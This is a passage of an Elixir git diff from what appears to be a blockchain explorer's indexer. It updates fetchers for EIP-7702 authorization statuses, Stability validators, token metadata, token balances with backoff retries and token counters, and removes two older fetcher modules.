&Enum.any?(&1, fn + {:authorization, %{status: nil}} -> true + _ -> false + end) + ) + + if Enum.empty?(entries_to_retry) do + :ok + else + {:retry, entries_to_retry} + end + else + {:fetch, {:error, reason}} -> + Logger.error(fn -> ["failed to fetch address nonces: ", inspect(reason)] end, + error_count: Enum.count(missing_nonces_for) + ) + + {:retry, entries} + + {:import, {:error, reason}} -> + Logger.error(fn -> ["failed to import signed authorizations: ", inspect(reason)] end) + + {:retry, entries} + end + end + + @spec preload_entries(entry()) :: entry() + defp preload_entries(%{entries: entries} = entry) when not is_nil(entries) do + entry + end + + defp preload_entries(%{block_hash: block_hash} = entry) do + block = + block_hash + |> Chain.fetch_block_by_hash() + |> Repo.preload([:transactions, [transactions: :signed_authorizations]]) + + entry + |> Map.put( + :entries, + block + |> Map.get(:transactions, []) + |> Enum.sort_by(& &1.index) + |> Enum.flat_map(&transaction_to_inner_entries/1) + ) + end + + # Compute pairs of block numbers and addresses for which don't know nonce at the start of the block. + # + # Checks all authorizations signers and returns those without any prior transactions with known nonce. + @spec compute_missing_nonces(entry()) :: [%{block_number: Block.block_number(), address_hash: Hash.Address.t()}] + defp compute_missing_nonces(%{block_number: block_number, entries: entries}) do + entries + |> Enum.reduce({[], MapSet.new()}, fn element, {missing_nonces, known_nonces} -> + case element do + # once we have seen a transaction in the block, we can be certain in address nonce for later transactions in the same block + {:transaction, %{authority: authority}} -> + {missing_nonces, known_nonces |> MapSet.put(authority)} + + {:authorization, %{authority: authority, status: nil}} when not is_nil(authority) -> + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if MapSet.member?(known_nonces, authority) do + {missing_nonces, known_nonces} + else + {[%{block_number: block_number, address_hash: authority} | missing_nonces], + known_nonces |> MapSet.put(authority)} + end + + _ -> + {missing_nonces, known_nonces} + end + end) + |> elem(0) + end + + # Compute authorization statuses by iteratively going through all transactions and authorizations in the block, + # while keeping track of expected nonces. + @spec compute_statuses(entry(), %{Hash.Address.t() => non_neg_integer()}) :: {entry(), [SignedAuthorization.t()]} + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp compute_statuses(entry, known_nonces) do + {new_entries, {updated_authorizations, _}} = + entry.entries + |> Enum.map_reduce({[], known_nonces}, fn + {:transaction, transaction} = entry, {updated_authorizations, known_nonces} -> + {entry, {updated_authorizations, known_nonces |> Map.put(transaction.authority, transaction.nonce + 1)}} + + {:authorization, authorization} = entry, {updated_authorizations, known_nonces} -> + nonce = Decimal.to_integer(authorization.nonce) + status = SignedAuthorization.basic_validate(authorization) + + cond do + # if authorization is valid, update known nonce and proceed + authorization.status == :ok -> + {entry, {updated_authorizations, known_nonces |> Map.put(authorization.authority, nonce + 1)}} + + # if authorization is invalid, nonce is not incremented + authorization.status in [:invalid_signature, :invalid_chain_id, :invalid_nonce] -> + {entry, {updated_authorizations, known_nonces}} + + # remaining cases handle authorization.status == nil + + status in [:invalid_signature, :invalid_chain_id, :invalid_nonce] -> + new_authorization = %{authorization | status: status} + + {{:authorization, new_authorization}, {[new_authorization | updated_authorizations], known_nonces}} + + # we still can't get chain_id from the json rpc, so we can't validate authorization and don't know up-to-date nonce anymore + is_nil(status) -> + {entry, {updated_authorizations, known_nonces |> Map.delete(authorization.authority)}} + + Map.has_key?(known_nonces, authorization.authority) and + nonce != Map.get(known_nonces, authorization.authority) -> + new_authorization = %{authorization | status: :invalid_nonce} + + {{:authorization, new_authorization}, {[new_authorization | updated_authorizations], known_nonces}} + + Map.has_key?(known_nonces, authorization.authority) and + nonce == Map.get(known_nonces, authorization.authority) -> + new_authorization = %{authorization | status: :ok} + + { + {:authorization, new_authorization}, + {[new_authorization | updated_authorizations], + known_nonces |> Map.put(authorization.authority, nonce + 1)} + } + + true -> + # we couldn't validate authorization due to unknown nonce, we don't know up-to-date nonce anymore + {entry, {updated_authorizations, known_nonces |> Map.delete(authorization.authority)}} + end + end) + + {entry |> Map.put(:entries, new_entries), updated_authorizations |> Enum.reverse()} + end + + @spec fetch_nonces([%{block_number: Block.block_number(), address_hash: Hash.Address.t()}], keyword()) :: + {:ok, %{Block.block_number() => %{Hash.Address.t() => non_neg_integer()}}} | {:error, any()} + defp fetch_nonces([], _json_rpc_named_arguments), do: {:ok, %{}} + + defp fetch_nonces(entries, json_rpc_named_arguments) do + # fetch nonces for at the end of the previous block, to know starting nonces for the current block + entries + |> Enum.map( + &%{ + block_quantity: integer_to_quantity(BlockNumberHelper.previous_block_number(&1.block_number)), + address: to_string(&1.address_hash) + } + ) + |> EthereumJSONRPC.fetch_nonces(json_rpc_named_arguments) + |> case do + {:ok, %{params_list: params}} -> + {:ok, nonces_map_from_params(params)} + + error -> + error + end + end + + defp nonces_map_from_params(params) do + Enum.reduce(params, %{}, fn %{address: address, block_number: block_number, nonce: nonce}, acc -> + case Hash.Address.cast(address) do + {:ok, address_hash} -> + acc + |> Map.update( + BlockNumberHelper.next_block_number(block_number), + %{address_hash => nonce}, + &Map.put(&1, address_hash, nonce) + ) + + _ -> + acc + end + end) + end + + # Imports all updated signed authorizations, updates relevant addresses and proxy implementations. + @spec import_authorizations([SignedAuthorization.t()]) :: :ok | {:error, any()} + defp import_authorizations(signed_authorizations) do + address_params = + signed_authorizations + |> Enum.filter(&(&1.status == :ok)) + # keeps only the latest record for each authority address + |> Enum.into(%{}, &{&1.authority, SignedAuthorization.to_address_params(&1)}) + |> Map.values() + + # Fetch latest successful authorizations for each authority address + # and skip importing addresses for which newer authorization already exists. + # Will only work correctly with concurrency of the fetcher set to 1. + # Alternative concurrent approach may be considered in the future by moving + # this check to the DB level inside an "on conflict" clause and introduction + # of the `last_code_change_nonce` column. + latest_authorization_nonces = + address_params + |> Enum.map(& &1.hash) + |> address_hashes_to_latest_authorizations() + |> Enum.into(%{}, &{&1.authority, &1.nonce}) + + addresses = + address_params + |> Enum.filter(fn %{hash: hash, nonce: nonce} -> + Decimal.gt?(nonce, Map.get(latest_authorization_nonces, hash, -1)) + end) + + case Chain.import(%{ + addresses: %{ + params: addresses, + on_conflict: address_on_conflict(), + fields_to_update: [:contract_code, :nonce] + }, + signed_authorizations: %{ + params: signed_authorizations |> Enum.map(&SignedAuthorization.to_map/1), + on_conflict: {:replace, [:status, :updated_at]} + } + }) do + {:ok, %{addresses: addresses}} -> + Accounts.drop(addresses) + + # Update EIP7702 proxy addresses to avoid inconsistencies between addresses and proxy_implementations tables. + {contract_addresses, eoa_addresses} = addresses |> Enum.split_with(&Address.smart_contract?/1) + + if !Enum.empty?(eoa_addresses) do + eoa_addresses + |> Enum.map(& &1.hash) + |> Implementation.delete_implementations() + end + + if !Enum.empty?(contract_addresses) do + contract_addresses + |> Implementation.upsert_eip7702_implementations() + end + + :ok + + {:ok, %{}} -> + :ok + + {:error, step, reason, _changes_so_far} -> + Logger.error( + fn -> + [ + @failed_to_import, + inspect(reason) + ] + end, + step: step + ) + + {:error, reason} + + {:error, reason} -> + Logger.error(fn -> + [ + @failed_to_import, + inspect(reason) + ] + end) + + {:error, reason} + end + end + + defp address_on_conflict do + from(address in Address, + update: [ + set: [ + contract_code: fragment("EXCLUDED.contract_code"), + nonce: fragment("GREATEST(EXCLUDED.nonce, ?)", address.nonce), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", address.updated_at) + ] + ] + ) + end + + defp defaults do + [ + poll: false, + flush_interval: :timer.seconds(3), + max_concurrency: @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor, + metadata: [fetcher: :signed_authorization_status] + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/stability/validator.ex b/apps/indexer/lib/indexer/fetcher/stability/validator.ex new file mode 100644 index 000000000000..c8fe6a1d8fb4 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/stability/validator.ex @@ -0,0 +1,104 @@ +defmodule Indexer.Fetcher.Stability.Validator do + @moduledoc """ + GenServer responsible for updating the list of stability validators in the database. + """ + use GenServer + + alias Explorer.Chain.Hash.Address, as: AddressHash + alias Explorer.Chain.Stability.Validator, as: ValidatorStability + + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + def init(state) do + GenServer.cast(__MODULE__, :update_validators_list) + + {:ok, state} + end + + def handle_cast(:update_validators_list, state) do + validators_from_db = ValidatorStability.get_all_validators() + + case ValidatorStability.fetch_validators_lists() do + %{active: active_validator_addresses_list, all: validator_addresses_list} -> + validators_map = Enum.reduce(validator_addresses_list, %{}, fn address, map -> Map.put(map, address, true) end) + + active_validators_map = + Enum.reduce(active_validator_addresses_list, %{}, fn address, map -> Map.put(map, address, true) end) + + address_hashes_to_drop_from_db = + Enum.flat_map(validators_from_db, fn validator -> + (is_nil(validators_map[validator.address_hash.bytes]) && [validator.address_hash]) || [] + end) + + grouped = + Enum.group_by(validator_addresses_list, fn validator_address -> active_validators_map[validator_address] end) + + inactive = + Enum.map(grouped[nil] || [], fn address_hash -> + {:ok, address_hash} = AddressHash.load(address_hash) + + %{address_hash: address_hash, state: :inactive} |> ValidatorStability.append_timestamps() + end) + + validators_to_missing_blocks_numbers = ValidatorStability.fetch_missing_blocks_numbers(grouped[true] || []) + + active = + Enum.map(grouped[true] || [], fn address_hash_init -> + {:ok, address_hash} = AddressHash.load(address_hash_init) + + %{ + address_hash: address_hash, + state: + ValidatorStability.missing_block_number_to_state( + validators_to_missing_blocks_numbers[address_hash_init] + ) + } + |> ValidatorStability.append_timestamps() + end) + + ValidatorStability.insert_validators( + (active ++ inactive) + |> add_blocks_validated(validators_from_db) + ) + + ValidatorStability.delete_validators_by_address_hashes(address_hashes_to_drop_from_db) + + _ -> + nil + end + + {:noreply, state} + end + + defp add_blocks_validated([_ | _] = validators, validators_from_db) do + validators_from_db_map = + Enum.reduce(validators_from_db, %{}, fn validator, map -> Map.put(map, validator.address_hash, true) end) + + address_hashes_to_fetch_blocks_validated = + Enum.flat_map(validators, fn validator -> + if validators_from_db_map[validator.address_hash] do + [] + else + [validator.address_hash] + end + end) + + blocks_validated_map = + address_hashes_to_fetch_blocks_validated + |> ValidatorStability.fetch_blocks_validated() + |> Enum.into(%{}) + + Enum.map(validators, fn validator -> + Map.put(validator, :blocks_validated, blocks_validated_map[validator.address_hash] || 0) + end) + end + + defp add_blocks_validated(validators, _), do: validators + + @spec trigger_update_validators_list() :: :ok + def trigger_update_validators_list do + GenServer.cast(__MODULE__, :update_validators_list) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token.ex b/apps/indexer/lib/indexer/fetcher/token.ex index 8c924e2ad245..bcae7ca34218 100644 --- a/apps/indexer/lib/indexer/fetcher/token.ex +++ b/apps/indexer/lib/indexer/fetcher/token.ex @@ -3,23 +3,19 @@ defmodule Indexer.Fetcher.Token do Fetches information about a token. """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent use Spandex.Decorators alias Explorer.Chain alias Explorer.Chain.Hash.Address alias Explorer.Chain.Token + alias Explorer.MicroserviceInterfaces.MultichainSearch alias Explorer.Token.MetadataRetriever alias Indexer.{BufferedTask, Tracer} @behaviour BufferedTask - @defaults [ - flush_interval: 300, - max_batch_size: 1, - max_concurrency: 10, - task_supervisor: Indexer.Fetcher.Token.TaskSupervisor - ] + @default_max_concurrency 10 @doc false def child_spec([init_options, gen_server_options]) do @@ -32,7 +28,7 @@ defmodule Indexer.Fetcher.Token do end merged_init_opts = - @defaults + defaults() |> Keyword.merge(mergeable_init_options) |> Keyword.put(:state, state) @@ -42,9 +38,13 @@ defmodule Indexer.Fetcher.Token do @impl BufferedTask def init(initial_acc, reducer, _) do {:ok, acc} = - Chain.stream_uncataloged_token_contract_address_hashes(initial_acc, fn address, acc -> - reducer.(address, acc) - end) + Chain.stream_uncataloged_token_contract_address_hashes( + initial_acc, + fn address, acc -> + reducer.(address, acc) + end, + true + ) acc end @@ -52,9 +52,7 @@ defmodule Indexer.Fetcher.Token do @impl BufferedTask @decorate trace(name: "fetch", resource: "Indexer.Fetcher.Token.run/2", service: :indexer, tracer: Tracer) def run([token_contract_address], _json_rpc_named_arguments) do - options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] - - case Chain.token_from_address_hash(token_contract_address, options) do + case Chain.token_from_address_hash(token_contract_address) do {:ok, %Token{} = token} -> catalog_token(token) end @@ -63,18 +61,36 @@ defmodule Indexer.Fetcher.Token do @doc """ Fetches token data asynchronously given a list of `t:Explorer.Chain.Token.t/0`s. """ - @spec async_fetch([Address.t()]) :: :ok - def async_fetch(token_contract_addresses) do - BufferedTask.buffer(__MODULE__, token_contract_addresses) + @spec async_fetch([Address.t()], boolean()) :: :ok + def async_fetch(token_contract_addresses, realtime?) do + BufferedTask.buffer(__MODULE__, token_contract_addresses, realtime?) end - defp catalog_token(%Token{contract_address_hash: contract_address_hash} = token) do + defp catalog_token(token) do token_params = - contract_address_hash + token |> MetadataRetriever.get_functions_of() - |> Map.put(:cataloged, true) + |> (&if(&1 == %{}, do: &1, else: Map.put(&1, :cataloged, true))).() + + {:ok, _} = Token.update(token, token_params) + + if Map.get(token_params, :cataloged) do + data_for_multichain = MultichainSearch.prepare_token_metadata_for_queue(token, token_params) + + %{} + |> Map.put(token.contract_address_hash.bytes, data_for_multichain) + |> MultichainSearch.send_token_info_to_queue(:metadata) + end - {:ok, _} = Chain.update_token(%{token | updated_at: DateTime.utc_now()}, token_params) :ok end + + defp defaults do + [ + flush_interval: 300, + max_batch_size: 1, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + task_supervisor: Indexer.Fetcher.Token.TaskSupervisor + ] + end end diff --git a/apps/indexer/lib/indexer/fetcher/token_balance.ex b/apps/indexer/lib/indexer/fetcher/token_balance.ex index b23978facd60..a6f291c7d5a5 100644 --- a/apps/indexer/lib/indexer/fetcher/token_balance.ex +++ b/apps/indexer/lib/indexer/fetcher/token_balance.ex @@ -9,34 +9,50 @@ defmodule Indexer.Fetcher.TokenBalance do It behaves as a `BufferedTask`, so we can configure the `max_batch_size` and the `max_concurrency` to control how many token balances will be fetched at the same time. - Also, this module set a `retries_count` for each token balance and increment this number to avoid fetching the ones + Also, this module set a `refetch_after` for each token balance in case of failure to avoid fetching the ones that always raise errors interacting with the Smart Contract. """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent use Spandex.Decorators require Logger alias Explorer.Chain + alias Explorer.Chain.Address.{CurrentTokenBalance, TokenBalance} + alias Explorer.Chain.Events.Publisher alias Explorer.Chain.Hash + alias Explorer.Utility.MissingBalanceOfToken alias Indexer.{BufferedTask, TokenBalances, Tracer} + alias Indexer.Fetcher.TokenBalance.Supervisor, as: TokenBalanceSupervisor @behaviour BufferedTask - @defaults [ - flush_interval: 300, - max_batch_size: 100, - max_concurrency: 10, - task_supervisor: Indexer.Fetcher.TokenBalance.TaskSupervisor - ] - - @max_retries 3 + @default_max_batch_size 100 + @default_max_concurrency 10 + + @timeout :timer.minutes(10) + + @spec async_fetch( + [ + %{ + token_contract_address_hash: Hash.Address.t(), + address_hash: Hash.Address.t(), + block_number: non_neg_integer(), + token_type: String.t(), + token_id: non_neg_integer() + } + ], + boolean() + ) :: :ok + def async_fetch(token_balances, realtime?) do + if TokenBalanceSupervisor.disabled?() do + :ok + else + formatted_params = Enum.map(token_balances, &entry/1) - @spec async_fetch([]) :: :ok - def async_fetch(token_balances) do - formatted_params = Enum.map(token_balances, &entry/1) - BufferedTask.buffer(__MODULE__, formatted_params, :infinity) + BufferedTask.buffer(__MODULE__, formatted_params, realtime?, :infinity) + end end @doc false @@ -50,7 +66,7 @@ defmodule Indexer.Fetcher.TokenBalance do end merged_init_opts = - @defaults + defaults() |> Keyword.merge(mergeable_init_options) |> Keyword.put(:state, state) @@ -60,11 +76,15 @@ defmodule Indexer.Fetcher.TokenBalance do @impl BufferedTask def init(initial, reducer, _) do {:ok, final} = - Chain.stream_unfetched_token_balances(initial, fn token_balance, acc -> - token_balance - |> entry() - |> reducer.(acc) - end) + Chain.stream_unfetched_token_balances( + initial, + fn token_balance, acc -> + token_balance + |> entry() + |> reducer.(acc) + end, + true + ) final end @@ -72,17 +92,24 @@ defmodule Indexer.Fetcher.TokenBalance do @doc """ Fetches the given entries (token_balances) from the Smart Contract and import them in our database. - It also increments the `retries_count` to avoid fetching token balances that always raise errors + It also set the `refetch_after` in case of failure to avoid fetching token balances that always raise errors when reading their balance in the Smart Contract. """ @impl BufferedTask @decorate trace(name: "fetch", resource: "Indexer.Fetcher.TokenBalance.run/2", tracer: Tracer, service: :indexer) def run(entries, _json_rpc_named_arguments) do + params = Enum.map(entries, &format_params/1) + + missing_balance_of_tokens = + params + |> Enum.map(& &1.token_contract_address_hash) + |> Enum.uniq() + |> MissingBalanceOfToken.get_by_hashes() + result = - entries - |> Enum.map(&format_params/1) - |> increase_retries_count() - |> fetch_from_blockchain() + params + |> MissingBalanceOfToken.filter_token_balances_params(true, missing_balance_of_tokens) + |> fetch_from_blockchain(missing_balance_of_tokens) |> import_token_balances() if result == :ok do @@ -92,40 +119,92 @@ defmodule Indexer.Fetcher.TokenBalance do end end - def fetch_from_blockchain(params_list) do - retryable_params_list = - params_list - |> Enum.filter(&(&1.retries_count <= @max_retries)) - |> Enum.uniq_by(&Map.take(&1, [:token_contract_address_hash, :token_id, :address_hash, :block_number])) + def fetch_from_blockchain(params_list, missing_balance_of_tokens) do + params_list = + Enum.uniq_by(params_list, &Map.take(&1, [:token_contract_address_hash, :token_id, :address_hash, :block_number])) - Logger.metadata(count: Enum.count(retryable_params_list)) + Logger.metadata(count: Enum.count(params_list)) - %{fetched_token_balances: fetched_token_balances, failed_token_balances: _failed_token_balances} = - 1..@max_retries - |> Enum.reduce_while(%{fetched_token_balances: [], failed_token_balances: retryable_params_list}, fn _x, acc -> - {:ok, - %{fetched_token_balances: _fetched_token_balances, failed_token_balances: failed_token_balances} = - token_balances} = TokenBalances.fetch_token_balances_from_blockchain(acc.failed_token_balances) + {:ok, %{fetched_token_balances: fetched_token_balances, failed_token_balances: failed_token_balances}} = + TokenBalances.fetch_token_balances_from_blockchain(params_list) - if Enum.empty?(failed_token_balances) do - {:halt, token_balances} - else - failed_token_balances = increase_retries_count(failed_token_balances) + handle_success_balances(fetched_token_balances, missing_balance_of_tokens) + failed_balances_to_keep = handle_failed_balances(failed_token_balances) + + fetched_token_balances ++ failed_balances_to_keep + end - token_balances_updated_retries_count = - token_balances - |> Map.put(:failed_token_balances, failed_token_balances) + defp handle_success_balances([], _missing_balance_of_tokens), do: :ok - {:cont, token_balances_updated_retries_count} - end + defp handle_success_balances(fetched_token_balances, missing_balance_of_tokens) do + successful_token_hashes = + fetched_token_balances + |> Enum.map(&to_string(&1.token_contract_address_hash)) + |> MapSet.new() + + missing_balance_of_token_hashes = + missing_balance_of_tokens + |> Enum.map(&to_string(&1.token_contract_address_hash)) + |> MapSet.new() + + successful_token_hashes + |> MapSet.intersection(missing_balance_of_token_hashes) + |> MapSet.to_list() + |> MissingBalanceOfToken.mark_as_implemented() + end + + defp handle_failed_balances([]), do: [] + + defp handle_failed_balances(failed_token_balances) do + failed_token_balances + |> handle_missing_balance_of_tokens() + |> handle_other_errors() + end + + defp handle_missing_balance_of_tokens(failed_token_balances) do + {missing_balance_of_balances, other_failed_balances} = + Enum.split_with(failed_token_balances, fn + %{error: :unable_to_decode} -> true + %{error: error} when is_binary(error) -> String.match?(error, ~r/execution.*revert/) + _ -> false end) - fetched_token_balances + MissingBalanceOfToken.insert_from_params(missing_balance_of_balances) + + missing_balance_of_balances + |> Enum.group_by(& &1.token_contract_address_hash, & &1.block_number) + |> Enum.map(fn {token_contract_address_hash, block_numbers} -> + {token_contract_address_hash, Enum.max(block_numbers)} + end) + |> Enum.each(fn {token_contract_address_hash, block_number} -> + TokenBalance.delete_placeholders_below(token_contract_address_hash, block_number) + CurrentTokenBalance.delete_placeholders_below(token_contract_address_hash, block_number) + end) + + other_failed_balances + end + + defp handle_other_errors(failed_token_balances) do + Enum.map(failed_token_balances, fn token_balance_params -> + new_retries_count = token_balance_params.retries_count + 1 + + Map.merge(token_balance_params, %{ + retries_count: new_retries_count, + refetch_after: define_refetch_after(new_retries_count) + }) + end) end - defp increase_retries_count(params_list) do - params_list - |> Enum.map(&Map.put(&1, :retries_count, &1.retries_count + 1)) + defp define_refetch_after(retries_count) do + config = Application.get_env(:indexer, __MODULE__) + + coef = config[:exp_timeout_coeff] + max_refetch_interval = config[:max_refetch_interval] + max_retries_count = :math.log(max_refetch_interval / 1000 / coef) + + value = floor(coef * :math.exp(min(retries_count, max_retries_count))) + + Timex.shift(Timex.now(), seconds: value) end def import_token_balances(token_balances_params) do @@ -138,10 +217,25 @@ defmodule Indexer.Fetcher.TokenBalance do address_current_token_balances: %{ params: TokenBalances.to_address_current_token_balances(formatted_token_balances_params) }, - timeout: :infinity + timeout: @timeout } case Chain.import(import_params) do + {:ok, %{address_current_token_balances: imported_ctbs}} -> + imported_ctbs + |> Enum.group_by(& &1.address_hash) + |> Enum.each(fn {address_hash, ctbs} -> + Publisher.broadcast( + %{ + address_current_token_balances: %{ + address_hash: to_string(address_hash), + address_current_token_balances: ctbs + } + }, + :realtime + ) + end) + {:ok, _} -> :ok @@ -166,17 +260,21 @@ defmodule Indexer.Fetcher.TokenBalance do if token_balance.token_type do token_balance else - token_type = Chain.get_token_type(token_balance.token_contract_address_hash) - - if token_type do - Map.put(token_balance, :token_type, token_type) - else - token_balance - end + put_token_type_to_balance_object(token_balance) end end) end + defp put_token_type_to_balance_object(token_balance) do + token_type = Chain.get_token_type(token_balance.token_contract_address_hash) + + if token_type do + Map.put(token_balance, :token_type, token_type) + else + token_balance + end + end + defp entry( %{ token_contract_address_hash: token_contract_address_hash, @@ -184,10 +282,8 @@ defmodule Indexer.Fetcher.TokenBalance do block_number: block_number, token_type: token_type, token_id: token_id - } = token_balance + } = params ) do - retries_count = Map.get(token_balance, :retries_count, 0) - token_id_int = case token_id do %Decimal{} -> Decimal.to_integer(token_id) @@ -195,7 +291,14 @@ defmodule Indexer.Fetcher.TokenBalance do _ -> token_id end - {address_hash.bytes, token_contract_address_hash.bytes, block_number, token_type, token_id_int, retries_count} + { + address_hash.bytes, + token_contract_address_hash.bytes, + block_number, + token_type, + token_id_int, + Map.get(params, :retries_count) || 0 + } end defp format_params( @@ -213,4 +316,13 @@ defmodule Indexer.Fetcher.TokenBalance do token_id: token_id } end + + defp defaults do + [ + flush_interval: 300, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + task_supervisor: Indexer.Fetcher.TokenBalance.TaskSupervisor + ] + end end diff --git a/apps/indexer/lib/indexer/fetcher/token_balance_on_demand.ex b/apps/indexer/lib/indexer/fetcher/token_balance_on_demand.ex deleted file mode 100644 index 92c52fe757fc..000000000000 --- a/apps/indexer/lib/indexer/fetcher/token_balance_on_demand.ex +++ /dev/null @@ -1,112 +0,0 @@ -defmodule Indexer.Fetcher.TokenBalanceOnDemand do - @moduledoc """ - Ensures that we have a reasonably up to date address tokens balance. - - """ - - use Indexer.Fetcher - - alias Explorer.Chain - alias Explorer.Chain.Address.CurrentTokenBalance - alias Explorer.Chain.Cache.BlockNumber - alias Explorer.Chain.Hash - alias Explorer.Counters.AverageBlockTime - alias Explorer.Token.BalanceReader - alias Timex.Duration - - ## Interface - - @spec trigger_fetch(Hash.t(), [CurrentTokenBalance.t()]) :: :ok - def trigger_fetch(address_hash, current_token_balances) do - latest_block_number = latest_block_number() - - case stale_balance_window(latest_block_number) do - {:error, _} -> - :current - - stale_balance_window -> - do_trigger_fetch(address_hash, current_token_balances, latest_block_number, stale_balance_window) - end - end - - ## Implementation - - defp do_trigger_fetch(address_hash, current_token_balances, latest_block_number, stale_balance_window) - when not is_nil(address_hash) do - stale_current_token_balances = - current_token_balances - |> Enum.filter(fn {current_token_balance, _} -> current_token_balance.block_number < stale_balance_window end) - - if Enum.count(stale_current_token_balances) > 0 do - fetch_and_update(latest_block_number, address_hash, stale_current_token_balances) - else - :current - end - - :ok - end - - defp fetch_and_update(block_number, address_hash, stale_current_token_balances) do - current_token_balances_update_params = - stale_current_token_balances - |> Enum.map(fn {stale_current_token_balance, token} -> - stale_current_token_balances_to_fetch = [ - %{ - token_contract_address_hash: "0x" <> Base.encode16(token.contract_address_hash.bytes), - address_hash: "0x" <> Base.encode16(address_hash.bytes), - block_number: block_number - } - ] - - balance_response = BalanceReader.get_balances_of(stale_current_token_balances_to_fetch) - updated_balance = balance_response[:ok] - - if updated_balance do - %{} - |> Map.put(:address_hash, stale_current_token_balance.address_hash) - |> Map.put(:token_contract_address_hash, token.contract_address_hash) - |> Map.put(:token_type, token.type) - |> Map.put(:block_number, block_number) - |> Map.put(:value, Decimal.new(updated_balance)) - |> Map.put(:value_fetched_at, DateTime.utc_now()) - else - nil - end - end) - - filtered_current_token_balances_update_params = - current_token_balances_update_params - |> Enum.filter(&(!is_nil(&1))) - - Chain.import(%{ - address_current_token_balances: %{ - params: filtered_current_token_balances_update_params - }, - broadcast: :on_demand - }) - end - - defp latest_block_number do - BlockNumber.get_max() - end - - defp stale_balance_window(block_number) do - case AverageBlockTime.average_block_time() do - {:error, :disabled} -> - {:error, :no_average_block_time} - - duration -> - average_block_time = - duration - |> Duration.to_milliseconds() - |> round() - - if average_block_time == 0 do - {:error, :empty_database} - else - threshold = Application.get_env(:indexer, __MODULE__)[:threshold] - block_number - div(:timer.minutes(threshold), average_block_time) - end - end - end -end diff --git a/apps/indexer/lib/indexer/fetcher/token_counters_updater.ex b/apps/indexer/lib/indexer/fetcher/token_counters_updater.ex new file mode 100644 index 000000000000..e9cfc9996b95 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/token_counters_updater.ex @@ -0,0 +1,75 @@ +defmodule Indexer.Fetcher.TokenCountersUpdater do + @moduledoc """ + Updates counters for cataloged tokens. + """ + use Indexer.Fetcher, restart: :permanent + + require Logger + + alias Explorer.Chain + alias Explorer.Chain.Token + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Indexer.BufferedTask + alias Timex.Duration + + @behaviour BufferedTask + + @max_batch_size 10 + @max_concurrency 4 + @defaults [ + flush_interval: :timer.seconds(3), + max_concurrency: @max_concurrency, + max_batch_size: @max_batch_size, + task_supervisor: Indexer.Fetcher.TokenCountersUpdater.TaskSupervisor, + metadata: [fetcher: :token_counters_updater] + ] + + @doc false + def child_spec([init_options, gen_server_options]) do + {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + unless state do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec " <> + "to allow for json_rpc calls when running." + end + + merged_init_opts = + @defaults + |> Keyword.merge(mergeable_init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial, reducer, _) do + counters_updater_milliseconds_interval = Application.get_env(:indexer, __MODULE__)[:milliseconds_interval] + + interval_in_minutes = + counters_updater_milliseconds_interval + |> Duration.from_milliseconds() + |> Duration.to_minutes() + |> trunc() + + {:ok, tokens} = Token.stream_cataloged_tokens(initial, reducer, interval_in_minutes, true) + + tokens + end + + @impl BufferedTask + def run(entries, _json_rpc_named_arguments) do + Logger.debug("updating token counters") + + entries + |> Enum.reduce(%{}, fn token, acc -> + {transfers_count, holders_count} = Chain.fetch_token_counters(token.contract_address_hash, :infinity) + + data_for_multichain = MultichainSearch.prepare_token_counters_for_queue(transfers_count, holders_count) + Map.put(acc, token.contract_address_hash.bytes, data_for_multichain) + end) + |> MultichainSearch.send_token_info_to_queue(:counters) + + :ok + end +end diff --git a/apps/indexer/lib/indexer/fetcher/token_instance.ex b/apps/indexer/lib/indexer/fetcher/token_instance.ex deleted file mode 100644 index 15d653f31b4e..000000000000 --- a/apps/indexer/lib/indexer/fetcher/token_instance.ex +++ /dev/null @@ -1,107 +0,0 @@ -defmodule Indexer.Fetcher.TokenInstance do - @moduledoc """ - Fetches information about a token instance. - """ - - use Indexer.Fetcher - use Spandex.Decorators - - require Logger - - alias Explorer.Chain - alias Explorer.Token.InstanceMetadataRetriever - alias Indexer.BufferedTask - - @behaviour BufferedTask - - @defaults [ - flush_interval: 300, - max_batch_size: 1, - max_concurrency: 10, - task_supervisor: Indexer.Fetcher.TokenInstance.TaskSupervisor - ] - - @doc false - def child_spec([init_options, gen_server_options]) do - {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) - - unless state do - raise ArgumentError, - ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec " <> - "to allow for json_rpc calls when running." - end - - merged_init_opts = - @defaults - |> Keyword.merge(mergeable_init_options) - |> Keyword.put(:state, state) - - Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) - end - - @impl BufferedTask - def init(initial_acc, reducer, _) do - {:ok, acc} = - Chain.stream_unfetched_token_instances(initial_acc, fn data, acc -> - reducer.(data, acc) - end) - - acc - end - - @impl BufferedTask - def run([%{contract_address_hash: token_contract_address_hash, token_id: token_id}], _json_rpc_named_arguments) do - case InstanceMetadataRetriever.fetch_metadata(to_string(token_contract_address_hash), Decimal.to_integer(token_id)) do - {:ok, %{metadata: metadata}} -> - params = %{ - token_id: token_id, - token_contract_address_hash: token_contract_address_hash, - metadata: metadata, - error: nil - } - - {:ok, _result} = Chain.upsert_token_instance(params) - - {:ok, %{error: error}} -> - params = %{ - token_id: token_id, - token_contract_address_hash: token_contract_address_hash, - error: error - } - - {:ok, _result} = 